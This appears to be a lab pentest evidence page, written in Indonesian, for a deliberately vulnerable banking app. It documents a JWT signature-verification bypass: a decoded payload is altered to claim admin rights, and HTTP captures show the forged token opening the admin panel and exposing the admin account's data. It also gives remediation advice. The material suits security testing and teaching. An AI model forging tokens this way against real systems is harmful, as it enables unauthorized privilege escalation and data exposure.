Skenario 09 / 26FAIL
JWT Signature Not Verified - Authentication - Token Validation
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] JWT Signature Not Verified - Authentication - Token Validation
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] JWT Signature Not Verified - Authentication - Token Validation
Deskripsi
Fungsi verify_token pada auth.py menangkap InvalidSignatureError lalu mencoba ulang decode dengan options={'verify_signature': False} dan mengembalikan payload-nya. Akibatnya token dengan tanda tangan yang salah tetap diterima. Klaim is_admin dibaca langsung dari payload token sehingga penyerang cukup mengubah klaim tersebut.
Dampak
Confidentiality + Integrity (Critical): eskalasi hak akses vertikal dari pengguna biasa menjadi administrator tanpa mengetahui kunci penanda tangan. Token yang ditempa membuka panel admin dan seluruh endpoint administratif, termasuk membaca data pengguna lain dan mengelola akun.
CWE
CWE-347: Improper Verification of Cryptographic Signature
OWASP
A07:2021 - Identification and Authentication Failures
Skenario
Normal: token sah milik pentest_attacker ditolak panel admin dengan 403 Access Denied. Eksploitasi: payload token diubah menjadi user_id 1 dan is_admin true, lalu ditandatangani ulang memakai kunci yang salah (totally-wrong-key). Dampak: token palsu diterima, panel admin terbuka dan data administrator terbaca.
Endpoint
GET http://127.0.0.1:5001/sup3r_s3cr3t_admin
GET http://127.0.0.1:5001/api/v3/user/1
Fitur terdampak
Validasi JWT pada seluruh endpoint terproteksi (decorator token_required)
Rekomendasi perbaikan
- Hapus jalur fallback yang melakukan decode dengan verify_signature False; kegagalan verifikasi tanda tangan harus selalu menolak permintaan.
- Kunci algoritma ke satu nilai yang diharapkan (HS256) dan tolak nilai lain.
- Jangan mengambil keputusan otorisasi dari klaim di dalam token; ambil peran dari database berdasarkan subject token.
- Gunakan secret yang kuat dan acak, serta tambahkan klaim exp.
Bukti konsep
1) (Screenshot 1) NORMAL: token sah pentest_attacker ke /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
2) (Screenshot 2) PROSES: token didekode, klaim user_id diubah ke 1 dan is_admin ke true, lalu ditandatangani ulang dengan kunci salah.
3) (Screenshot 3) EKSPLOITASI: token palsu ke /sup3r_s3cr3t_admin -> HTTP 200, panel admin terbuka.
4) (Screenshot 4) DAMPAK CIA: token palsu membaca /api/v3/user/1 -> data administrator (ADMIN001, is_admin true) terekspos.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] JWT Signature Not Verified - Authentication - Token Validation
Description:
Fungsi verify_token pada auth.py menangkap InvalidSignatureError lalu mencoba ulang decode dengan options={'verify_signature': False} dan mengembalikan payload-nya. Akibatnya token dengan tanda tangan yang salah tetap diterima. Klaim is_admin dibaca langsung dari payload token sehingga penyerang cukup mengubah klaim tersebut.
Impact:
Confidentiality + Integrity (Critical): eskalasi hak akses vertikal dari pengguna biasa menjadi administrator tanpa mengetahui kunci penanda tangan. Token yang ditempa membuka panel admin dan seluruh endpoint administratif, termasuk membaca data pengguna lain dan mengelola akun.
CWE:
CWE-347: Improper Verification of Cryptographic Signature
OWASP:
A07:2021 - Identification and Authentication Failures
Scenario:
Normal: token sah milik pentest_attacker ditolak panel admin dengan 403 Access Denied. Eksploitasi: payload token diubah menjadi user_id 1 dan is_admin true, lalu ditandatangani ulang memakai kunci yang salah (totally-wrong-key). Dampak: token palsu diterima, panel admin terbuka dan data administrator terbaca.
Endpoint:
GET http://127.0.0.1:5001/sup3r_s3cr3t_admin
GET http://127.0.0.1:5001/api/v3/user/1
Affected Feature:
Validasi JWT pada seluruh endpoint terproteksi (decorator token_required)
Remediation:
- Hapus jalur fallback yang melakukan decode dengan verify_signature False; kegagalan verifikasi tanda tangan harus selalu menolak permintaan.
- Kunci algoritma ke satu nilai yang diharapkan (HS256) dan tolak nilai lain.
- Jangan mengambil keputusan otorisasi dari klaim di dalam token; ambil peran dari database berdasarkan subject token.
- Gunakan secret yang kuat dan acak, serta tambahkan klaim exp.
POC:
1) (Screenshot 1) NORMAL: token sah pentest_attacker ke /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
2) (Screenshot 2) PROSES: token didekode, klaim user_id diubah ke 1 dan is_admin ke true, lalu ditandatangani ulang dengan kunci salah.
3) (Screenshot 3) EKSPLOITASI: token palsu ke /sup3r_s3cr3t_admin -> HTTP 200, panel admin terbuka.
4) (Screenshot 4) DAMPAK CIA: token palsu membaca /api/v3/user/1 -> data administrator (ADMIN001, is_admin true) terekspos.
02 — Tangkapan layar
Tangkapan layar (3)
03 — Detail proses
Detail proses
Nilai kredensial disamarkan dalam tampilan HTML ini; keterangan tentang token lengkap merujuk pada rekaman sumber.
PROSES 01 / 2
Siapkan JWT yang diubah
Token yang direkam
[REDACTED-LAB-JWT]Header yang didekode
{
"typ": "JWT",
"alg": "HS256"
}Payload yang didekode
{
"user_id": 2,
"username": "pentest_attacker",
"is_admin": false,
"iat": 1790737096
}Payload yang diubah
{
"user_id": 1,
"username": "admin",
"is_admin": true,
"iat": 1790736461
}Kunci penandatanganan yang digunakan
[REDACTED-LAB-SIGNING-KEY]Token yang dienkode ulang
[REDACTED-LAB-JWT]Nilai kredensial disamarkan dalam tampilan HTML ini; keterangan tentang token lengkap merujuk pada rekaman sumber.
04 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 403 FORBIDDEN
Content-Type: text/html; charset=utf-8
Content-Length: 13
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:16 GMT
Access DeniedREKAMAN 02 / 3
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:18 GMT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Panel - VulnBank</title>
<link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
<link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="/static/admin.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
<a href="#main-content" class="skip-link">Skip to main content</a>
<div class="admin-layout">
<!-- Sidebar -->
<aside class="admin-sidebar">
<div class="sidebar-header">
<div class="sidebar-logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
</svg>
<span class="sidebar-logo-text">VulnBank</span>
<span class="sidebar-badge">Admin</span>
</div>
</div>
<nav class="sidebar-nav">
<a href="#overview" class="sidebar-nav-item active" data-section="overview">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="3" width="7" height="7"></rect>
<rect x="14" y="3" width="7" height="7"></rect>
<rect x="14" y="14" width="7" height="7"></rect>
<rect x="3" y="14" width="7" height="7"></rect>
</svg>
<span>Overview</span>
</a>
<a href="#users" class="sidebar-nav-item" data-section="users">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
<circle cx="9" cy="7" r="4"></circle>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
<path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
</svg>
<span>Users</span>
</a>
<a href="#loans" class="sidebar-nav-item" data-section="loans">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
<path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
</svg>
<span>Loans</span>
</a>
<a href="#settings" class="sidebar-nav-item" data-section="settings">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="3"></circle>
<path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
</svg>
<span>Settings</span>
</a>
</nav>
<div class="sidebar-footer">
<a href="/dashboard" class="sidebar-back-link">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<line x1="19" y1="12" x2="5" y2="12"></line>
<polyline points="12 19 5 12 12 5"></polyline>
</svg>
<span>Back to Dashboard</span>
</a>
<button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
<span class="toggle-icon toggle-icon-sun">☀️</span>
<span class="toggle-icon toggle-icon-moon">🌙</span>
</button>
</div>
</aside>
<!-- Main Content -->
<main class="admin-main" id="main-content">
<!-- Top Bar -->
<header class="admin-topbar">
<h1 class="admin-page-title">Overview</h1>
<div class="admin-profile-mini">
<span class="admin-name">System Administrator</span>
<img src="/static/uploads/admin.png" alt="Admin">
</div>
</header>
<!-- Messages -->
<div id="message" aria-live="polite"></div>
<!-- Overview Section -->
<section class="admin-section" id="overview-section">
<div class="section-header">
<h2>Transaction Analytics</h2>
<p class="section-subt
[... 37049 more bytes not shown ...]REKAMAN 03 / 4
GET /api/v3/user/1 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 185
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:19 GMT
{
"status": "success",
"user": {
"account_number": "ADMIN001",
"balance": 1000000.0,
"bio": null,
"id": 1,
"is_admin": true,
"username": "admin"
}
}